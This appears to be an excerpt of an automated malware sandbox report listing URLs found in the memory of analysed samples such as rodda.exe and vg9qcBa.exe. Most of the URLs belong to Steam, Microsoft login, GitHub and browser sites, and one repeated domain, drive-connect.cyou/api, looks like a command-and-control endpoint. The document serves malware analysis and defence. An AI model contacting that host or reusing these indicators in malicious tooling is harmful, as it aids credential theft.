https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B9AB9339B
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
Source: vg9qcBa.exe, 00000027.00000003.14589642573.00000000009DE000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14762274085.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14510594125.00000000036DF000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000002.14767119960.00000000009DF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14638130213.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14586408061.00000000036D8000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14701455684.0000000000962000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14470459579.00000000009C4000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14701455684.000000000094B000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14470726334.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14553399026.00000000036D7000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14623929230.00000000009DF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14763163702.000000000094B000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000002.14766296287.000000000094B000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14589425742.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14553675888.00000000036D8000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14585778779.00000000036D7000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14764857379.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/
Source: vg9qcBa.exe, 00000027.00000003.14638130213.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/0
Source: vg9qcBa.exe, 00000027.00000003.14762274085.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000002.14767119960.00000000009DF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14638130213.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14764857379.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/X
Source: vg9qcBa.exe, 00000027.00000003.14512697397.00000000036EC000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14622177456.0000000003724000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14586653541.0000000003724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api
Source: vg9qcBa.exe, 00000027.00000002.14769223430.0000000003724000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14761625114.0000000003724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api7?
Source: vg9qcBa.exe, 00000027.00000002.14769223430.0000000003724000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14761625114.0000000003724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api8?
Source: vg9qcBa.exe, 00000027.00000003.14623929230.00000000009DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/h
Source: vg9qcBa.exe, 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/x
Source: vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC39592000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://github.com/
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF77E000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC3961C000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://github.com/KoalaBear84)
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF77E000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC3961C000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://github.com/dsafa/CSDeskBand
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC39592000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://github.com/leandrosa81/taskbar-monitor
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K
Source: svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live
Source: svchost.exe, 00000012.00000002.17166533351.0000027A41000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000012.00000002.17165615641.0000027A3FE99000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14473405029.0000000003705000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474406354.0000000003705000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14472931951.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: vg9qcBa.exe, 00000027.00000003.14473405029.0000000003705000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474406354.0000000003705000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14472931951.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165250045.0000027A3FE2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfz
Source: svchost.exe, 00000012.00000003.14293196483.0000027A4096D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292550853.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000012.00000003.14292713801.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292550853.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292672339.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292604166.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000012.00000003.14292713801.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292550853.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292672339.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292604166.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfz
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165250045.0000027A3FE2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000012.00000002.17167160743.0000027A41063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000012.00000003.14293196483.0000027A4096D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165250045.0000027A3FE2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000012.00000003.14293196483.0000027A4096D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292713801.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14293196483.0000027A4096D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292550853.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292672339.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292604166.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000012.00000003.14292713801.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292550853.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292295864.0000027A4096B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292672339.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292604166.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806004
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603nu
Source: svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
